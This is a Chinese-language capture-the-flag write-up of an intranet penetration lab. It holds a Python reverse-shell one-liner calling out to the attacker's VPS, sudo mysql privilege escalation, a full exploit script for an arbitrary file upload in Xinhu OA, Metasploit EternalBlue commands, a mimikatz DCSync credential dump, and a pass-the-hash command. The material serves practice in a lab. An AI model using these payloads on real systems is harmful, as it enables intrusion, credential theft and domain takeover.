春秋云镜-initial

参考

春秋云境Initial WP

前言

这靶场说难也不是很难,主要就是要熟悉各种工具的应用,配置等,这些都需要耗费不少的时间

靶标介绍

Initial是一套难度为简单的靶场环境,完成该挑战可以帮助玩家初步认识内网渗透的简单流程。该靶场只有一个flag,各部分位于不同的机器上

flag01

首先拿到站点,就一个登录框什么都没有,点击注册也没有任何反应,随便尝试了几个弱口令也都没有反应

看了眼网站的icon,是thinphp,于是就先直接上thinkphp的工具

image-20250820162013421

检测到有相关的rce漏洞,直接getshell,再用蚁剑连上

image-20250820162111064

蚁剑里面有一个虚拟终端的功能可以使用,但是经过我前四个钟头血的教训,这功能是真的不好用,命令难执行,还会吞回显等等,白白浪费了好几个沙漏(都是钱啊

后面中途转去学了下linux提权和如何升级为完全式shell后,决定直接弹到自己的vps上来操作(舒服多了

自己vps上监听:nc -lvvp 2333

在机子的虚拟终端上反弹shell

1
python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("1.1.1.1",2333));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];subprocess.call(["/bin/sh","-i"])'

经过一顿操作转为完全式shell

先查了下自己的权限,发现挺低的,于是准备提权,这里用sudo进行提权

image-20250820162812660

mysql具有root权限,并且不需要密码就可以,去GTFOBins查一下

image-20250820162913422

-e然后后面可以执行shell命令,然后查找flag,sudo mysql -e '\! find / -name *flag*',找到后直接cat,flag01如下:

image-20250820163007685

flag02

开始在内网进行信息收集,在蚁剑中上传一下fscan工具,并赋一下执行权限:chmod +x fscan_amd64

先ifconfig查一下自己的内网ip

image-20250820163203874

然后扫描一手

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
www-data@ubuntu-web01:/var/www/html$ ./fscan_amd64 -h 172.22.1.0/24

___ _
/ _ \ ___ ___ _ __ __ _ ___| | __
/ /_\/____/ __|/ __| '__/ _` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__| <
\____/ |___/\___|_| \__,_|\___|_|\_\
fscan version: 1.8.2
start infoscan
trying RunIcmp2
The current user permissions unable to send icmp packets
start ping
(icmp) Target 172.22.1.2 is alive
(icmp) Target 172.22.1.15 is alive
(icmp) Target 172.22.1.18 is alive
(icmp) Target 172.22.1.21 is alive
[*] Icmp alive hosts len is: 4
172.22.1.18:3306 open
172.22.1.21:445 open
172.22.1.18:445 open
172.22.1.2:445 open
172.22.1.21:139 open
172.22.1.18:139 open
172.22.1.2:139 open
172.22.1.21:135 open
172.22.1.18:135 open
172.22.1.2:135 open
172.22.1.18:80 open
172.22.1.15:80 open
172.22.1.15:22 open
172.22.1.2:88 open
[*] alive ports len is: 14
start vulscan
[*] NetInfo:
[*]172.22.1.21
[->]XIAORANG-WIN7
[->]172.22.1.21
[*] NetInfo:
[*]172.22.1.2
[->]DC01
[->]172.22.1.2
[*] NetInfo:
[*]172.22.1.18
[->]XIAORANG-OA01
[->]172.22.1.18
[*] NetBios: 172.22.1.2 [+]DC DC01.xiaorang.lab Windows Server 2016 Datacenter 14393
[*] WebTitle: http://172.22.1.15 code:200 len:5578 title:Bootstrap Material Admin
[*] 172.22.1.2 (Windows Server 2016 Datacenter 14393)
[+] 172.22.1.21 MS17-010 (Windows Server 2008 R2 Enterprise 7601 Service Pack 1)
[*] NetBios: 172.22.1.21 XIAORANG-WIN7.xiaorang.lab Windows Server 2008 R2 Enterprise 7601 Service P
[*] NetBios: 172.22.1.18 XIAORANG-OA01.xiaorang.lab Windows Server 2012 R2 Datacenter 9600
[*] WebTitle: http://172.22.1.18 code:302 len:0 title:None 跳转url: http://172.22.1.18?m=login
[*] WebTitle: http://172.22.1.18?m=login code:200 len:4012 title:信呼协同办公系统
[+] http://172.22.1.15 poc-yaml-thinkphp5023-method-rce poc1
已完成 14/14
[*] 扫描结束,耗时: 13.334454435s

扫出4台存活的机子,其中有一台我们已经打过了

这里我们选择对信呼这台机子下手

但是这是内网的机子,我们外面不能直接访问,所以就需要通过frp反代出来进行访问

frp相关操作参考:https://blog.csdn.net/weixin_43400024/article/details/139986585

这里服务端便是我自己的vps,开启监听

image-20250820163655840

客户端也就是靶机,执行:frpc.exe -c frpc.toml,成功连上

image-20250820163809811

image-20250820163822968

然后在本机配置一下proxifier进行访问,因为我们这边都是socks5进行连接,直接http协议是访问不了的

添加代理服务器

image-20250820164036581

配置代理规则

image-20250820164133450

Default规则的动作要选择direct,这样子除了访问172.22.*.*的机子之外访问其他的都是默认的,跟平常一样

全部配置完后访问http://172.22.1.18/,成功,直接默认的账户密码登录admin->admin123

image-20250820164406108

信呼低版本存在rce漏洞,讲解网上一搜一大堆

信呼OA qcloudCosAction.php 任意文件上传漏洞

这里直接贴exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import requests

session = requests.session()
url_pre = 'http://172.22.1.18/'
url1 = url_pre + '?a=check&m=login&d=&ajaxbool=true&rnd=533953'
url2 = url_pre + '/index.php?a=upfile&m=upload&d=public&maxsize=100&ajaxbool=true&rnd=798913'
# url3 = url_pre + '/task.php?m=qcloudCos|runt&a=run&fileid=<ID>'
data1 = {
'rempass': '0',
'jmpass': 'false',
'device': '1625884034525',
'ltype': '0',
'adminuser': 'YWRtaW4=',
'adminpass': 'YWRtaW4xMjM=',
'yanzm': ''
}

r = session.post(url1, data=data1)
r = session.post(url2, files={'file': open('1.php', 'r+')})
filepath = str(r.json()['filepath'])
filepath = "/" + filepath.split('.uptemp')[0] + '.php'
print(filepath)
id = r.json()['id']
url3 = url_pre + f'/task.php?m=qcloudCos|runt&a=run&fileid={id}'
r = session.get(url3)
r = session.get(url_pre + filepath + "?1=system('dir');")
print(r.text)

拿到返回的路由,直接蚁剑连上

拿到flag02

image-20250820164933238

flag03

接下来开始打永恒之蓝,配置好proxychains,让其conf文件加上 socks5 1.1.1.1 6028

image-20250820165243481

然后执行如下命令:

1
2
3
4
5
6
proxychains msfconsole
use exploit/windows/smb/ms17_010_eternalblue
set payload windows/x64/meterpreter/bind_tcp
show options
set rhosts 172.22.1.21
run

成功拿到shell

image-20250820165406446

接下来开始横向

1
load kiwi

加载成功后,你就可以在 Meterpreter 里使用一系列 Mimikatz 风格的命令,常见功能包括:

  • 凭据抓取
    • creds_all → 列出所有能获取的凭据(明文密码、哈希、票据等)
    • creds_msv → 抓取 MSV 认证凭据(NTLM 哈希)
    • creds_ssp → 抓取 SSP 认证信息
    • creds_wdigest → 抓取 WDigest 明文密码
    • creds_kerberos → 抓取 Kerberos 票据
  • 哈希 / 票据操作
    • kerberos_ticket_list → 列出现有的 Kerberos 票据
    • kerberos_ticket_purge → 清除票据
    • kerberos_ticket_use → 导入票据(Pass-the-Ticket)
  • 其他典型操作
    • golden_ticket_create → 生成黄金票据
    • kerberos_ticket_use → 使用票据
    • lsa_dump_sam → 导出 SAM 数据库
1
kiwi_cmd lsadump::dcsync /domain:xiaorang.lab /all /csv

kiwi_cmd

  • 在 Meterpreter 中,kiwi_cmd 用来直接执行 mimikatz 原生命令。
  • 相当于你在目标机上运行 mimikatz.exe,然后输入 lsadump::dcsync ...

lsadump::dcsync

  • 这是 Mimikatz 的 DCSync 模块
  • 功能:伪装成一个域控制器,通过调用 MS-DRSR (Directory Replication Service Remote Protocol) 协议,从真正的域控同步凭据。
  • 本质上就是远程向域控请求用户 NTLM 哈希、Kerberos 密钥等数据。

/domain:xiaorang.lab

  • 指定目标域为 xiaorang.lab
  • 必须是有效的 AD 域。

/all

  • 导出域中所有用户的凭据(包括 krbtgt、管理员等)。
  • 如果不加,只会导出指定账户。

/csv

  • 以 CSV 格式输出结果,方便后续保存、解析或导出。

image-20250820165854505

由于是刚接触,扫出的这些有必要拿ai辅助解释一手,这些都是抓取到的域用户凭据(NTLM 哈希)

输出的格式如下:

1
<用户RID>   <用户名>   <NTLM哈希>    <用户属性标志>

RID(Relative Identifier)

  • 每个域用户在域里的唯一 ID。
  • 常见特殊 RID:
    • 500 → 域管理员 Administrator
    • 502krbtgt 账户(Kerberos 的关键账户,用于票据签发)
    • 1000+ → 普通域用户/计算机账户

用户名

  • 比如 AdministratorMarcusCharles

NTLM 哈希

  • 这是用户密码的 NTLM 哈希,可用于:
    • Pass-the-Hash (PtH) 横向渗透
    • 爆破还原明文(hashcat / john)

属性标志(UserAccountControl 值)

  • 这是用户账户属性的整数表示(十进制)。
  • 常见值:
    • 512 → 普通启用的域用户
    • 514 → 账户禁用
    • 4096 → 工作站 / 服务器的机器账户
    • 532480 → 域控服务器账户

而我们扫到的结果分析如下:

  • 502 krbtgt
    • 域的 Kerberos 根密钥账户,哈希可用于伪造 **黄金票据 (Golden Ticket)**。
  • 500 Administrator
    • 域管理员,拿到这个哈希 = 拿下整个域。
  • 1106 Marcus / 1107 Charles
    • 普通域用户,可以尝试横向渗透。
  • 1000 DC01$
    • 域控制器机器账户。也能用于 DCSync
  • 1104 XIAORANG-OA01$ / 1108 XIAORANG-WIN7$
    • 域内主机的机器账户。

hash传递,拿到flag

1
proxychains crackmapexec smb 172.22.1.2 -u administrator -H10cf89a850fb1cdbe6bb432b859164c8 -d xiaorang.lab -x "type Users\Administrator\flag\flag03.txt"

crackmapexec smb 172.22.1.2

  • 对目标 172.22.1.2 主机发起 SMB 协议 连接。

-u administrator

  • 使用域账户 administrator

-H 10cf89a850fb1cdbe6bb432b859164c8

  • 使用 NTLM 哈希 进行身份验证(即 Pass-the-Hash 技术)。
  • 这里的哈希来自你前面 DCSync 抓取的结果。

-d xiaorang.lab

  • 指定域名 xiaorang.lab

-x "type Users\Administrator\flag\flag03.txt"

  • 成功认证后,在目标机上执行命令

该命令的过程就是Pass-the-Hash → SMB 执行命令 → 读 flag 文件

image-20250820170555330

这里再解释一下为什么使用SMB协议来进行连接

  • 作用:在局域网内提供文件共享、打印机共享、IPC(进程间通信)、远程管理等功能。
  • 端口
    • 445/tcp → 现代 SMB (直连 TCP)
    • 139/tcp → 旧版 SMB (基于 NetBIOS)

Windows 系统中几乎必开 SMB 服务,因为它支撑着:

  • \\IP\C$ → 共享磁盘
  • \\IP\ADMIN$ → 管理共享
  • \\IP\IPC$ → 远程管理、RPC 调用

那么为什么能通过SMB协议来远程执行命令,这主要是因为Windows 的 远程管理 很大程度依赖 SMB,例如:

  • **IPC$**:远程调用进程/服务
  • **ADMIN$ / C$**:访问系统目录
  • 服务控制 (SCM) 可以通过 SMB 启动新服务
  • 任务计划 (AT/SCHTASKS) 可以通过 SMB 下发任务

总结

总flag:flag{60b53231-2ce3-4813-87d4-e8f88d0d43d6}

第一次打这种靶场,即使是看着网上的wp进行操作依旧耗费了很久,主要原因就是对于工具的不熟悉以及蚁剑那极其不好用的虚拟终端